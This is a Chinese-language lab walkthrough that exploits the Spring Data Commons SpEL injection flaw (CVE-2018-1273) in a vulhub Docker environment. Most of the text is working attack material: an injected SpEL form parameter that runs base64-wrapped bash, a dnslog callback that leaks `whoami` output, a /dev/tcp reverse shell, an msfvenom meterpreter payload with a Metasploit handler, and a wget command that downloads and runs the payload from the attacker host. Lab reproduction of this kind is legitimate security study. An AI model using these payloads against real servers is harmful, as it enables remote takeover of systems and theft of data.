Spring Data Commons远程命令执行漏洞
漏洞简述
Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。
影响范围
Spring Data Commons 1.13 - 1.13.10 (Ingalls SR10)
Spring Data REST 2.6 - 2.6.10 (Ingalls SR10)
Spring Data Commons 2.0 to 2.0.5 (Kay SR5)
Spring Data REST 3.0 - 3.0.5 (Kay SR5)
环境搭建
cd /vulhub/spring/CVE-2018-1273
docker-compose up -d
漏洞复现
dnslog
首先打开http://192.168.3.151:8080/users
输入参数抓包
先打开dnslog,随机搞一个dns
构造语句
curl `whoami`.83axbz.dnslog.cn
扔进base64编码
bash -c {echo,Y3VybCBgd2hvYW1pYC44M2F4YnouZG5zbG9nLmNu}|{base64,-d}|{bash,-i}
把这个命令扔进数据包里
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("bash -c {echo,Y3VybCBgd2hvYW1pYC44M2F4YnouZG5zbG9nLmNu}|{base64,-d}|{bash,-i}")]=&password=a&repeatedPassword=a
看一下dnslog
构造反弹shell
bash -i >& /dev/tcp/192.168.3.134/4444 0>&1
再base64编码一下
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMTM0LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}
设置监听
nc -lvvp 4444
把数据包发出去
不知道为啥反弹不过来,换一种方法
先用msfvenom
构造一个payload
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.3.134 lport=4444 -f elf > /root/shell.elf
打开msfconsole
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.3.134
run
开启http
python -m SimpleHTTPServer
然后构造上传命令
wget http://192.168.3.134:8000/shell.elf
扔进数据包里上传
上传成功
修改权限然后运行
chmod 777 ./shell.elf
./shell.elf
成功回弹成功!
结束!!